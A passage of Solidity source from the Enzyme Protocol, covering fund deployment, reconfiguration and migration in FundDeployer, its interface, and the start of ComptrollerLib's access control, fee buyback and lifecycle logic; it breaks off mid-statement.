comptrollerContract.setVaultProxy(vaultProxy_); __configureExtensions( comptrollerProxy_, vaultProxy_, _feeManagerConfigData, _policyManagerConfigData ); comptrollerContract.activate(false); IProtocolFeeTracker(getProtocolFeeTracker()).initializeForVault(vaultProxy_); emit NewFundCreated(canonicalSender, vaultProxy_, comptrollerProxy_); return (comptrollerProxy_, vaultProxy_); } /// @notice Creates a fully-configured ComptrollerProxy instance for a VaultProxy and signals the reconfiguration process /// @param _vaultProxy The VaultProxy to reconfigure /// @param _denominationAsset The contract address of the denomination asset for the fund /// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions" /// (buying or selling shares) by the same user /// @param _feeManagerConfigData Bytes data for the fees to be enabled for the fund /// @param _policyManagerConfigData Bytes data for the policies to be enabled for the fund /// @return comptrollerProxy_ The address of the ComptrollerProxy deployed during this action function createReconfigurationRequest( address _vaultProxy, address _denominationAsset, uint256 _sharesActionTimelock, bytes calldata _feeManagerConfigData, bytes calldata _policyManagerConfigData ) external returns (address comptrollerProxy_) { address canonicalSender = __msgSender(); __assertIsMigrator(_vaultProxy, canonicalSender); require( IDispatcher(getDispatcher()).getFundDeployerForVaultProxy(_vaultProxy) == address(this), "createReconfigurationRequest: VaultProxy not on this release" ); require( !hasReconfigurationRequest(_vaultProxy), "createReconfigurationRequest: VaultProxy has a pending reconfiguration request" ); comptrollerProxy_ = __deployComptrollerProxy( canonicalSender, _denominationAsset, _sharesActionTimelock ); IComptroller(comptrollerProxy_).setVaultProxy(_vaultProxy); __configureExtensions( comptrollerProxy_, _vaultProxy, _feeManagerConfigData, _policyManagerConfigData ); uint256 executableTimestamp = block.timestamp + getReconfigurationTimelock(); vaultProxyToReconfigurationRequest[_vaultProxy] = ReconfigurationRequest({ nextComptrollerProxy: comptrollerProxy_, executableTimestamp: executableTimestamp }); emit ReconfigurationRequestCreated( canonicalSender, _vaultProxy, comptrollerProxy_, executableTimestamp ); return comptrollerProxy_; } /// @dev Helper function to configure the Extensions for a given ComptrollerProxy function __configureExtensions( address _comptrollerProxy, address _vaultProxy, bytes memory _feeManagerConfigData, bytes memory _policyManagerConfigData ) private { // Since fees can only be set in this step, if there are no fees, there is no need to set the validated VaultProxy if (_feeManagerConfigData.length > 0) { IExtension(IComptroller(_comptrollerProxy).getFeeManager()).setConfigForFund( _comptrollerProxy, _vaultProxy, _feeManagerConfigData ); } // For all other extensions, we call to cache the validated VaultProxy, for simplicity. // In the future, we can consider caching conditionally. IExtension(IComptroller(_comptrollerProxy).getExternalPositionManager()).setConfigForFund( _comptrollerProxy, _vaultProxy, "" ); IExtension(IComptroller(_comptrollerProxy).getIntegrationManager()).setConfigForFund( _comptrollerProxy, _vaultProxy, "" ); IExtension(IComptroller(_comptrollerProxy).getPolicyManager()).setConfigForFund( _comptrollerProxy, _vaultProxy, _policyManagerConfigData ); } /// @dev Helper function to deploy a configured ComptrollerProxy function __deployComptrollerProxy( address _canonicalSender, address _denominationAsset, uint256 _sharesActionTimelock ) private returns (address comptrollerProxy_) { // _denominationAsset is validated by ComptrollerLib.init() bytes memory constructData = abi.encodeWithSelector( IComptroller.init.selector, _denominationAsset, _sharesActionTimelock ); comptrollerProxy_ = address(new ComptrollerProxy(constructData, getComptrollerLib())); emit ComptrollerProxyDeployed( _canonicalSender, comptrollerProxy_, _denominationAsset, _sharesActionTimelock ); return comptrollerProxy_; } /// @dev Helper to deploy a new VaultProxy instance during fund creation. /// Avoids stack-too-deep error. function __deployVaultProxy( address _fundOwner, address _comptrollerProxy, string calldata _fundName, string calldata _fundSymbol ) private returns (address vaultProxy_) { vaultProxy_ = IDispatcher(getDispatcher()).deployVaultProxy( getVaultLib(), _fundOwner, _comptrollerProxy, _fundName ); if (bytes(_fundSymbol).length != 0) { IVault(vaultProxy_).setSymbol(_fundSymbol); } return vaultProxy_; } /////////////////////////////////////////////// // RECONFIGURATION (INTRA-RELEASE MIGRATION) // /////////////////////////////////////////////// /// @notice Cancels a pending reconfiguration request /// @param _vaultProxy The VaultProxy contract for which to cancel the reconfiguration request function cancelReconfiguration(address _vaultProxy) external onlyMigrator(_vaultProxy) { address nextComptrollerProxy = vaultProxyToReconfigurationRequest[_vaultProxy] .nextComptrollerProxy; require( nextComptrollerProxy != address(0), "cancelReconfiguration: No reconfiguration request exists for _vaultProxy" ); // Destroy the nextComptrollerProxy IComptroller(nextComptrollerProxy).destructUnactivated(); // Remove the reconfiguration request delete vaultProxyToReconfigurationRequest[_vaultProxy]; emit ReconfigurationRequestCancelled(_vaultProxy, nextComptrollerProxy); } /// @notice Executes a pending reconfiguration request /// @param _vaultProxy The VaultProxy contract for which to execute the reconfiguration request /// @dev ProtocolFeeTracker.initializeForVault() does not need to be included in a reconfiguration, /// as it refers to the vault and not the new ComptrollerProxy function executeReconfiguration(address _vaultProxy) external onlyMigrator(_vaultProxy) { ReconfigurationRequest memory request = getReconfigurationRequestForVaultProxy( _vaultProxy ); require( request.nextComptrollerProxy != address(0), "executeReconfiguration: No reconfiguration request exists for _vaultProxy" ); require( block.timestamp >= request.executableTimestamp, "executeReconfiguration: The reconfiguration timelock has not elapsed" ); // Not technically necessary, but a nice assurance require( IDispatcher(getDispatcher()).getFundDeployerForVaultProxy(_vaultProxy) == address(this), "executeReconfiguration: _vaultProxy is no longer on this release" ); // Unwind and destroy the prevComptrollerProxy before setting the nextComptrollerProxy as the VaultProxy.accessor address prevComptrollerProxy = IVault(_vaultProxy).getAccessor(); address paymaster = IComptroller(prevComptrollerProxy).getGasRelayPaymaster(); __destructActivatedComptrollerProxy(prevComptrollerProxy); // Execute the reconfiguration IVault(_vaultProxy).setAccessorForFundReconfiguration(request.nextComptrollerProxy); // Activate the new ComptrollerProxy IComptroller(request.nextComptrollerProxy).activate(true); if (paymaster != address(0)) { IComptroller(request.nextComptrollerProxy).setGasRelayPaymaster(paymaster); } // Remove the reconfiguration request delete vaultProxyToReconfigurationRequest[_vaultProxy]; emit ReconfigurationRequestExecuted( _vaultProxy, prevComptrollerProxy, request.nextComptrollerProxy ); } /// @notice Sets a new reconfiguration timelock /// @param _nextTimelock The number of seconds for the new timelock function setReconfigurationTimelock(uint256 _nextTimelock) external onlyOwner { reconfigurationTimelock = _nextTimelock; emit ReconfigurationTimelockSet(_nextTimelock); } ////////////////// // MIGRATION IN // ////////////////// /// @notice Cancels fund migration /// @param _vaultProxy The VaultProxy for which to cancel migration /// @param _bypassPrevReleaseFailure True if should override a failure in the previous release while canceling migration function cancelMigration(address _vaultProxy, bool _bypassPrevReleaseFailure) external onlyMigratorNotRelayable(_vaultProxy) { IDispatcher(getDispatcher()).cancelMigration(_vaultProxy, _bypassPrevReleaseFailure); } /// @notice Executes fund migration /// @param _vaultProxy The VaultProxy for which to execute the migration /// @param _bypassPrevReleaseFailure True if should override a failure in the previous release while executing migration function executeMigration(address _vaultProxy, bool _bypassPrevReleaseFailure) external onlyMigratorNotRelayable(_vaultProxy) { IDispatcher dispatcherContract = IDispatcher(getDispatcher()); (, address comptrollerProxy, , ) = dispatcherContract .getMigrationRequestDetailsForVaultProxy(_vaultProxy); dispatcherContract.executeMigration(_vaultProxy, _bypassPrevReleaseFailure); IComptroller(comptrollerProxy).activate(true); IProtocolFeeTracker(getProtocolFeeTracker()).initializeForVault(_vaultProxy); } /// @notice Executes logic when a migration is canceled on the Dispatcher /// @param _nextComptrollerProxy The ComptrollerProxy created on this release function invokeMigrationInCancelHook( address, address, address _nextComptrollerProxy, address ) external override onlyDispatcher { IComptroller(_nextComptrollerProxy).destructUnactivated(); } /////////////////// // MIGRATION OUT // /////////////////// /// @notice Allows "hooking into" specific moments in the migration pipeline /// to execute arbitrary logic during a migration out of this release /// @param _vaultProxy The VaultProxy being migrated function invokeMigrationOutHook( MigrationOutHook _hook, address _vaultProxy, address, address, address ) external override onlyDispatcher { if (_hook != MigrationOutHook.PreMigrate) { return; } // Must use PreMigrate hook to get the ComptrollerProxy from the VaultProxy address comptrollerProxy = IVault(_vaultProxy).getAccessor(); // Wind down fund and destroy its config __destructActivatedComptrollerProxy(comptrollerProxy); } ////////////// // REGISTRY // ////////////// // BUY SHARES CALLERS /// @notice Deregisters allowed callers of ComptrollerProxy.buySharesOnBehalf() /// @param _callers The callers to deregister function deregisterBuySharesOnBehalfCallers(address[] calldata _callers) external onlyOwner { for (uint256 i; i < _callers.length; i++) { require( isAllowedBuySharesOnBehalfCaller(_callers[i]), "deregisterBuySharesOnBehalfCallers: Caller not registered" ); acctToIsAllowedBuySharesOnBehalfCaller[_callers[i]] = false; emit BuySharesOnBehalfCallerDeregistered(_callers[i]); } } /// @notice Registers allowed callers of ComptrollerProxy.buySharesOnBehalf() /// @param _callers The allowed callers /// @dev Validate that each registered caller only forwards requests to buy shares that /// originate from the same _buyer passed into buySharesOnBehalf(). This is critical /// to the integrity of VaultProxy.freelyTransferableShares. function registerBuySharesOnBehalfCallers(address[] calldata _callers) external onlyOwner { for (uint256 i; i < _callers.length; i++) { require( !isAllowedBuySharesOnBehalfCaller(_callers[i]), "registerBuySharesOnBehalfCallers: Caller already registered" ); acctToIsAllowedBuySharesOnBehalfCaller[_callers[i]] = true; emit BuySharesOnBehalfCallerRegistered(_callers[i]); } } // VAULT CALLS /// @notice De-registers allowed arbitrary contract calls that can be sent from the VaultProxy /// @param _contracts The contracts of the calls to de-register /// @param _selectors The selectors of the calls to de-register /// @param _dataHashes The keccak call data hashes of the calls to de-register /// @dev ANY_VAULT_CALL is a wildcard that allows any payload function deregisterVaultCalls( address[] calldata _contracts, bytes4[] calldata _selectors, bytes32[] memory _dataHashes ) external onlyOwner { require(_contracts.length > 0, "deregisterVaultCalls: Empty _contracts"); require( _contracts.length == _selectors.length && _contracts.length == _dataHashes.length, "deregisterVaultCalls: Uneven input arrays" ); for (uint256 i; i < _contracts.length; i++) { require( isRegisteredVaultCall(_contracts[i], _selectors[i], _dataHashes[i]), "deregisterVaultCalls: Call not registered" ); vaultCallToPayloadToIsAllowed[keccak256( abi.encodePacked(_contracts[i], _selectors[i]) )][_dataHashes[i]] = false; emit VaultCallDeregistered(_contracts[i], _selectors[i], _dataHashes[i]); } } /// @notice Registers allowed arbitrary contract calls that can be sent from the VaultProxy /// @param _contracts The contracts of the calls to register /// @param _selectors The selectors of the calls to register /// @param _dataHashes The keccak call data hashes of the calls to register /// @dev ANY_VAULT_CALL is a wildcard that allows any payload function registerVaultCalls( address[] calldata _contracts, bytes4[] calldata _selectors, bytes32[] memory _dataHashes ) external onlyOwner { require(_contracts.length > 0, "registerVaultCalls: Empty _contracts"); require( _contracts.length == _selectors.length && _contracts.length == _dataHashes.length, "registerVaultCalls: Uneven input arrays" ); for (uint256 i; i < _contracts.length; i++) { require( !isRegisteredVaultCall(_contracts[i], _selectors[i], _dataHashes[i]), "registerVaultCalls: Call already registered" ); vaultCallToPayloadToIsAllowed[keccak256( abi.encodePacked(_contracts[i], _selectors[i]) )][_dataHashes[i]] = true; emit VaultCallRegistered(_contracts[i], _selectors[i], _dataHashes[i]); } } /////////////////// // STATE GETTERS // /////////////////// // EXTERNAL FUNCTIONS /// @notice Checks if a contract call is allowed /// @param _contract The contract of the call to check /// @param _selector The selector of the call to check /// @param _dataHash The keccak call data hash of the call to check /// @return isAllowed_ True if the call is allowed /// @dev A vault call is allowed if the _dataHash is specifically allowed, /// or if any _dataHash is allowed function isAllowedVaultCall( address _contract, bytes4 _selector, bytes32 _dataHash ) external view override returns (bool isAllowed_) { bytes32 contractFunctionHash = keccak256(abi.encodePacked(_contract, _selector)); return vaultCallToPayloadToIsAllowed[contractFunctionHash][_dataHash] || vaultCallToPayloadToIsAllowed[contractFunctionHash][ANY_VAULT_CALL]; } // PUBLIC FUNCTIONS /// @notice Gets the `comptrollerLib` variable value /// @return comptrollerLib_ The `comptrollerLib` variable value function getComptrollerLib() public view returns (address comptrollerLib_) { return comptrollerLib; } /// @notice Gets the `CREATOR` variable value /// @return creator_ The `CREATOR` variable value function getCreator() public view returns (address creator_) { return CREATOR; } /// @notice Gets the `DISPATCHER` variable value /// @return dispatcher_ The `DISPATCHER` variable value function getDispatcher() public view returns (address dispatcher_) { return DISPATCHER; } /// @notice Gets the amounts of gas to forward to each of the ComptrollerLib.destructActivated() external calls /// @return deactivateFeeManagerGasLimit_ The amount of gas to forward to deactivate the FeeManager /// @return payProtocolFeeGasLimit_ The amount of gas to forward to pay the protocol fee function getGasLimitsForDestructCall() public view returns (uint256 deactivateFeeManagerGasLimit_, uint256 payProtocolFeeGasLimit_) { return ( gasLimitForDestructCallToDeactivateFeeManager, gasLimitForDestructCallToPayProtocolFee ); } /// @notice Gets the `protocolFeeTracker` variable value /// @return protocolFeeTracker_ The `protocolFeeTracker` variable value function getProtocolFeeTracker() public view returns (address protocolFeeTracker_) { return protocolFeeTracker; } /// @notice Gets the pending ReconfigurationRequest for a given VaultProxy /// @param _vaultProxy The VaultProxy instance /// @return reconfigurationRequest_ The pending ReconfigurationRequest function getReconfigurationRequestForVaultProxy(address _vaultProxy) public view returns (ReconfigurationRequest memory reconfigurationRequest_) { return vaultProxyToReconfigurationRequest[_vaultProxy]; } /// @notice Gets the amount of time that must pass before executing a ReconfigurationRequest /// @return reconfigurationTimelock_ The timelock value (in seconds) function getReconfigurationTimelock() public view returns (uint256 reconfigurationTimelock_) { return reconfigurationTimelock; } /// @notice Gets the `vaultLib` variable value /// @return vaultLib_ The `vaultLib` variable value function getVaultLib() public view returns (address vaultLib_) { return vaultLib; } /// @notice Checks whether a ReconfigurationRequest exists for a given VaultProxy /// @param _vaultProxy The VaultProxy instance /// @return hasReconfigurationRequest_ True if a ReconfigurationRequest exists function hasReconfigurationRequest(address _vaultProxy) public view override returns (bool hasReconfigurationRequest_) { return vaultProxyToReconfigurationRequest[_vaultProxy].nextComptrollerProxy != address(0); } /// @notice Checks if an account is an allowed caller of ComptrollerProxy.buySharesOnBehalf() /// @param _who The account to check /// @return isAllowed_ True if the account is an allowed caller function isAllowedBuySharesOnBehalfCaller(address _who) public view override returns (bool isAllowed_) { return acctToIsAllowedBuySharesOnBehalfCaller[_who]; } /// @notice Checks if a contract call is registered /// @param _contract The contract of the call to check /// @param _selector The selector of the call to check /// @param _dataHash The keccak call data hash of the call to check /// @return isRegistered_ True if the call is registered function isRegisteredVaultCall( address _contract, bytes4 _selector, bytes32 _dataHash ) public view returns (bool isRegistered_) { return vaultCallToPayloadToIsAllowed[keccak256( abi.encodePacked(_contract, _selector) )][_dataHash]; } /// @notice Gets the `isLive` variable value /// @return isLive_ The `isLive` variable value function releaseIsLive() public view returns (bool isLive_) { return isLive; } } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; /// @title IFundDeployer Interface /// @author Enzyme Council <[email protected]> interface IFundDeployer { function getOwner() external view returns (address); function hasReconfigurationRequest(address) external view returns (bool); function isAllowedBuySharesOnBehalfCaller(address) external view returns (bool); function isAllowedVaultCall( address, bytes4, bytes32 ) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0 /* This file is part of the Enzyme Protocol. (c) Enzyme Council <[email protected]> For the full license information, please view the LICENSE file that was distributed with this source code. */ pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../../../../persistent/dispatcher/IDispatcher.sol"; import "../../../../persistent/external-positions/IExternalPosition.sol"; import "../../../extensions/IExtension.sol"; import "../../../extensions/fee-manager/IFeeManager.sol"; import "../../../extensions/policy-manager/IPolicyManager.sol"; import "../../../infrastructure/gas-relayer/GasRelayRecipientMixin.sol"; import "../../../infrastructure/gas-relayer/IGasRelayPaymaster.sol"; import "../../../infrastructure/gas-relayer/IGasRelayPaymasterDepositor.sol"; import "../../../infrastructure/value-interpreter/IValueInterpreter.sol"; import "../../../utils/beacon-proxy/IBeaconProxyFactory.sol"; import "../../../utils/AddressArrayLib.sol"; import "../../fund-deployer/IFundDeployer.sol"; import "../vault/IVault.sol"; import "./IComptroller.sol"; /// @title ComptrollerLib Contract /// @author Enzyme Council <[email protected]> /// @notice The core logic library shared by all funds contract ComptrollerLib is IComptroller, IGasRelayPaymasterDepositor, GasRelayRecipientMixin { using AddressArrayLib for address[]; using SafeMath for uint256; using SafeERC20 for ERC20; event AutoProtocolFeeSharesBuybackSet(bool autoProtocolFeeSharesBuyback); event BuyBackMaxProtocolFeeSharesFailed( bytes indexed failureReturnData, uint256 sharesAmount, uint256 buybackValueInMln, uint256 gav ); event DeactivateFeeManagerFailed(); event GasRelayPaymasterSet(address gasRelayPaymaster); event MigratedSharesDuePaid(uint256 sharesDue); event PayProtocolFeeDuringDestructFailed(); event PreRedeemSharesHookFailed( bytes indexed failureReturnData, address indexed redeemer, uint256 sharesAmount ); event RedeemSharesInKindCalcGavFailed(); event SharesBought( address indexed buyer, uint256 investmentAmount, uint256 sharesIssued, uint256 sharesReceived ); event SharesRedeemed( address indexed redeemer, address indexed recipient, uint256 sharesAmount, address[] receivedAssets, uint256[] receivedAssetAmounts ); event VaultProxySet(address vaultProxy); // Constants and immutables - shared by all proxies uint256 private constant ONE_HUNDRED_PERCENT = 10000; uint256 private constant SHARES_UNIT = 10**18; address private constant SPECIFIC_ASSET_REDEMPTION_DUMMY_FORFEIT_ADDRESS = 0x000000000000000000000000000000000000aaaa; address private immutable DISPATCHER; address private immutable EXTERNAL_POSITION_MANAGER; address private immutable FUND_DEPLOYER; address private immutable FEE_MANAGER; address private immutable INTEGRATION_MANAGER; address private immutable MLN_TOKEN; address private immutable POLICY_MANAGER; address private immutable PROTOCOL_FEE_RESERVE; address private immutable VALUE_INTERPRETER; address private immutable WETH_TOKEN; // Pseudo-constants (can only be set once) address internal denominationAsset; address internal vaultProxy; // True only for the one non-proxy bool internal isLib; // Storage // Attempts to buy back protocol fee shares immediately after collection bool internal autoProtocolFeeSharesBuyback; // A reverse-mutex, granting atomic permission for particular contracts to make vault calls bool internal permissionedVaultActionAllowed; // A mutex to protect against reentrancy bool internal reentranceLocked; // A timelock after the last time shares were bought for an account // that must expire before that account transfers or redeems their shares uint256 internal sharesActionTimelock; mapping(address => uint256) internal acctToLastSharesBoughtTimestamp; // The contract which manages paying gas relayers address private gasRelayPaymaster; /////////////// // MODIFIERS // /////////////// modifier allowsPermissionedVaultAction { __assertPermissionedVaultActionNotAllowed(); permissionedVaultActionAllowed = true; _; permissionedVaultActionAllowed = false; } modifier locksReentrance() { __assertNotReentranceLocked(); reentranceLocked = true; _; reentranceLocked = false; } modifier onlyFundDeployer() { __assertIsFundDeployer(); _; } modifier onlyGasRelayPaymaster() { __assertIsGasRelayPaymaster(); _; } modifier onlyOwner() { __assertIsOwner(__msgSender()); _; } modifier onlyOwnerNotRelayable() { __assertIsOwner(msg.sender); _; } // ASSERTION HELPERS // Modifiers are inefficient in terms of contract size, // so we use helper functions to prevent repetitive inlining of expensive string values. function __assertIsFundDeployer() private view { require(msg.sender == getFundDeployer(), "Only FundDeployer callable"); } function __assertIsGasRelayPaymaster() private view { require(msg.sender == getGasRelayPaymaster(), "Only Gas Relay Paymaster callable"); } function __assertIsOwner(address _who) private view { require(_who == IVault(getVaultProxy()).getOwner(), "Only fund owner callable"); } function __assertNotReentranceLocked() private view { require(!reentranceLocked, "Re-entrance"); } function __assertPermissionedVaultActionNotAllowed() private view { require(!permissionedVaultActionAllowed, "Vault action re-entrance"); } function __assertSharesActionNotTimelocked(address _vaultProxy, address _account) private view { uint256 lastSharesBoughtTimestamp = getLastSharesBoughtTimestampForAccount(_account); require( lastSharesBoughtTimestamp == 0 || block.timestamp.sub(lastSharesBoughtTimestamp) >= getSharesActionTimelock() || __hasPendingMigrationOrReconfiguration(_vaultProxy), "Shares action timelocked" ); } constructor( address _dispatcher, address _protocolFeeReserve, address _fundDeployer, address _valueInterpreter, address _externalPositionManager, address _feeManager, address _integrationManager, address _policyManager, address _gasRelayPaymasterFactory, address _mlnToken, address _wethToken ) public GasRelayRecipientMixin(_gasRelayPaymasterFactory) { DISPATCHER = _dispatcher; EXTERNAL_POSITION_MANAGER = _externalPositionManager; FEE_MANAGER = _feeManager; FUND_DEPLOYER = _fundDeployer; INTEGRATION_MANAGER = _integrationManager; MLN_TOKEN = _mlnToken; POLICY_MANAGER = _policyManager; PROTOCOL_FEE_RESERVE = _protocolFeeReserve; VALUE_INTERPRETER = _valueInterpreter; WETH_TOKEN = _wethToken; isLib = true; } ///////////// // GENERAL // ///////////// /// @notice Calls a specified action on an Extension /// @param _extension The Extension contract to call (e.g., FeeManager) /// @param _actionId An ID representing the action to take on the extension (see extension) /// @param _callArgs The encoded data for the call /// @dev Used to route arbitrary calls, so that msg.sender is the ComptrollerProxy /// (for access control). Uses a mutex of sorts that allows "permissioned vault actions" /// during calls originating from this function. function callOnExtension( address _extension, uint256 _actionId, bytes calldata _callArgs ) external override locksReentrance allowsPermissionedVaultAction { require( _extension == getFeeManager() || _extension == getIntegrationManager() || _extension == getExternalPositionManager(), "callOnExtension: _extension invalid" ); IExtension(_extension).receiveCallFromComptroller(__msgSender(), _actionId, _callArgs); } /// @notice Makes an arbitrary call with the VaultProxy contract as the sender /// @param _contract The contract to call /// @param _selector The selector to call /// @param _encodedArgs The encoded arguments for the call /// @return returnData_ The data returned by the call function vaultCallOnContract( address _contract, bytes4 _selector, bytes calldata _encodedArgs ) external onlyOwner returns (bytes memory returnData_) { require( IFundDeployer(getFundDeployer()).isAllowedVaultCall( _contract, _selector, keccak256(_encodedArgs) ), "vaultCallOnContract: Not allowed" ); return IVault(getVaultProxy()).callOnContract( _contract, abi.encodePacked(_selector, _encodedArgs) ); } /// @dev Helper to check if a VaultProxy has a pending migration or reconfiguration request function __hasPendingMigrationOrReconfiguration(address _vaultProxy) private view returns (bool hasPendingMigrationOrReconfiguration) { return IDispatcher(getDispatcher()).hasMigrationRequest(_vaultProxy) || IFundDeployer(getFundDeployer()).hasReconfigurationRequest(_vaultProxy); } ////////////////// // PROTOCOL FEE // ////////////////// /// @notice Buys back shares collected as protocol fee at a discounted shares price, using MLN /// @param _sharesAmount The amount of shares to buy back function buyBackProtocolFeeShares(uint256 _sharesAmount) external { address vaultProxyCopy = vaultProxy; require( IVault(vaultProxyCopy).canManageAssets(__msgSender()), "buyBackProtocolFeeShares: Unauthorized" ); uint256 gav = calcGav(); IVault(vaultProxyCopy).buyBackProtocolFeeShares( _sharesAmount, __getBuybackValueInMln(vaultProxyCopy, _sharesAmount, gav), gav ); } /// @notice Sets whether to attempt to buyback protocol fee shares immediately when collected /// @param _nextAutoProtocolFeeSharesBuyback True if protocol fee shares should be attempted /// to be bought back immediately when collected function setAutoProtocolFeeSharesBuyback(bool _nextAutoProtocolFeeSharesBuyback) external onlyOwner { autoProtocolFeeSharesBuyback = _nextAutoProtocolFeeSharesBuyback; emit AutoProtocolFeeSharesBuybackSet(_nextAutoProtocolFeeSharesBuyback); } /// @dev Helper to buyback the max available protocol fee shares, during an auto-buyback function __buyBackMaxProtocolFeeShares(address _vaultProxy, uint256 _gav) private { uint256 sharesAmount = ERC20(_vaultProxy).balanceOf(getProtocolFeeReserve()); uint256 buybackValueInMln = __getBuybackValueInMln(_vaultProxy, sharesAmount, _gav); try IVault(_vaultProxy).buyBackProtocolFeeShares(sharesAmount, buybackValueInMln, _gav) {} catch (bytes memory reason) { emit BuyBackMaxProtocolFeeSharesFailed(reason, sharesAmount, buybackValueInMln, _gav); } } /// @dev Helper to buyback the max available protocol fee shares function __getBuybackValueInMln( address _vaultProxy, uint256 _sharesAmount, uint256 _gav ) private returns (uint256 buybackValueInMln_) { address denominationAssetCopy = getDenominationAsset(); uint256 grossShareValue = __calcGrossShareValue( _gav, ERC20(_vaultProxy).totalSupply(), 10**uint256(ERC20(denominationAssetCopy).decimals()) ); uint256 buybackValueInDenominationAsset = grossShareValue.mul(_sharesAmount).div( SHARES_UNIT ); return IValueInterpreter(getValueInterpreter()).calcCanonicalAssetValue( denominationAssetCopy, buybackValueInDenominationAsset, getMlnToken() ); } //////////////////////////////// // PERMISSIONED VAULT ACTIONS // //////////////////////////////// /// @notice Makes a permissioned, state-changing call on the VaultProxy contract /// @param _action The enum representing the VaultAction to perform on the VaultProxy /// @param _actionData The call data for the action to perform function permissionedVaultAction(IVault.VaultAction _action, bytes calldata _actionData) external override { __assertPermissionedVaultAction(msg.sender, _action); // Validate action as needed if (_action == IVault.VaultAction.RemoveTrackedAsset) { require( abi.decode(_actionData, (address)) != getDenominationAsset(), "permissionedVaultAction: Cannot untrack denomination asset" ); } IVault(getVaultProxy()).receiveValidatedVaultAction(_action, _actionData); } /// @dev Helper to assert that a caller is allowed to perform a particular VaultAction. /// Uses this pattern rather than multiple `require` statements to save on contract size. function __assertPermissionedVaultAction(address _caller, IVault.VaultAction _action) private view { bool validAction; if (permissionedVaultActionAllowed) { // Calls are roughly ordered by likely frequency if (_caller == getIntegrationManager()) { if ( _action == IVault.VaultAction.AddTrackedAsset || _action == IVault.VaultAction.RemoveTrackedAsset || _action == IVault.VaultAction.WithdrawAssetTo || _action == IVault.VaultAction.ApproveAssetSpender ) { validAction = true; } } else if (_caller == getFeeManager()) { if ( _action == IVault.VaultAction.MintShares || _action == IVault.VaultAction.BurnShares || _action == IVault.VaultAction.TransferShares ) { validAction = true; } } else if (_caller == getExternalPositionManager()) { if ( _action == IVault.VaultAction.CallOnExternalPosition || _action == IVault.VaultAction.AddExternalPosition || _action == IVault.VaultAction.RemoveExternalPosition ) { validAction = true; } } } require(validAction, "__assertPermissionedVaultAction: Action not allowed"); } /////////////// // LIFECYCLE // /////////////// // Ordered by execution in the lifecycle /// @notice Initializes a fund with its core config /// @param _denominationAsset The asset in which the fund's value should be denominated /// @param _sharesActionTimelock The minimum number of seconds between any two "shares actions" /// (buying or selling shares) by the same user /// @dev Pseudo-constructor per proxy. /// No need to assert access because this is called atomically on deployment, /// and once it's called, it cannot be called again. function init(address _denominationAsset, uint256 _sharesActionTimelock) external override { require(getDenominationAsset() == address(0), "init: Already initialized"); require( IValueInterpreter(getValueInterpreter()).isSupportedPrimitiveAsset(_denominationAsset), "init: Bad denomination asset" ); denominationAsset = _denominationAsset; sharesActionTimelock = _sharesActionTimelock; } /// @notice Sets the VaultProxy /// @param _vaultProxy The VaultProxy contract /// @dev No need to assert anything beyond FundDeployer access. /// Called atomically with init(), but after ComptrollerProxy has been deployed. function setVaultProxy(address _vaultProxy) external override onlyFundDeployer { vaultProxy = _vaultProxy; emit VaultProxySet(_vaultProxy); } /// @notice Runs atomic logic after a ComptrollerProxy has become its vaultProxy's `accessor` /// @param _isMigration True if a migrated fund is being activated /// @dev No need to assert anything beyond FundDeployer access. function activate(bool _isMigration) external override onlyFundDeployer { address vaultProxyCopy = getVaultProxy(); if (_isMigration) { // Distribute any shares in the VaultProxy to the fund owner. // This is a mechanism to ensure that even in the edge case of a fund being unable // to payout fee shares owed during migration, these shares are not lost. uint256 sharesDue = ERC20(vaultProxyCopy).balanceOf(vaultProxyCopy); if (sharesDue > 0) { IVault(vaultProxyCopy).transferShares( vaultProxyCopy, IVault(vaultProxyCopy).getOwner(), sharesDue ); emit MigratedSharesDuePaid(sharesDue); } } IVault(vaultProxyCopy).addTrackedAsset(getDenominationAsset()); // Activate extensions IExtension(getFeeManager()).activateForFund(_isMigration); IExtension(getPolicyManager()).activateForFund(_isMigration); } /// @notice Wind down and destroy a ComptrollerProxy that is active /// @param _deactivateFeeManagerGasLimit The amount of gas to forward to deactivate the FeeManager /// @param _payProtocolFeeGasLimit The amount of gas to forward to pay the protocol fee /// @dev No need to assert anything beyond FundDeployer access. /// Uses the try/catch pattern throughout out of an abundance of caution for the function's success. /// All external calls must use limited forwarded gas to ensure that a migration to another release /// does not get bricked by logic that consumes too much gas for the block limit. function destructActivated( uint256 _deactivateFeeManagerGasLimit, uint256 _payProtocolFeeGasLimit ) external override onlyFundDeployer allowsPermissionedVaultAction { // Forwarding limited gas here also protects fee recipients by guaranteeing that fee payout logic // will run in the next function call try IVault(getVaultProxy()).payProtocolFee{gas: _payProtocolFeeGasLimit}() {} catch { emit PayProtocolFeeDuringDestructFailed(); } // Do not attempt to auto-buyback protocol fee shares in this case, // as the call is gav-dependent and can consume too much gas // Deactivate extensions only as-necessary // Pays out shares outstanding for fees try IExtension(getFeeManager()).deactivateForFund{gas: _deactivateFeeManagerGasLimit}() {} catch { emit DeactivateFeeManagerFailed(); } __selfDestruct(); } /// @notice Destroy a ComptrollerProxy that has not been activated function destructUnactivated() external override onlyFundDeployer { __selfDestruct(); } /// @dev Helper to self-destruct the contract. /// There should never be ETH in the ComptrollerLib, /// so no need to waste gas to get the fund owner function __selfDestruct() private { // Not necessary, but failsafe to protect the lib against selfdestruct require(!isLib, "__selfDestruct: Only delegate callable"); selfdestruct(payable(address(this))); } //////////////// // ACCOUNTING // //////////////// /// @notice Calculates the gross asset value (GAV) of the fund /// @return gav_ The fund GAV function calcGav() public override returns (uint256 gav_) { address vaultProxyAddress = getVaultProxy(); address[] memory assets = IVault(vaultProxyAddress).getTrackedAssets(); address[] memory externalPositions = IVault(vaultProxyAddress) .getActiveExternalPositions(); if (assets.length == 0 && externalPositions.length == 0) { return 0; } uint256[] memory balances = new uint256[](assets.length); for (uint256 i; i < assets.length; i++) { balances[i] = ERC20(assets[i]).balanceOf(vaultProxyAddress); } gav_ = IValueInterpreter(getValueInterpreter()).calcCanonicalAssetsTotalValue( assets, balances, getDenominationAsset() ); if (externalPositions.length > 0) { for (uint256 i; i < externalPositions.length; i++) { uint256 externalPositionValue = __calcExternalPositionValue(externalPositions[i]); gav_ = 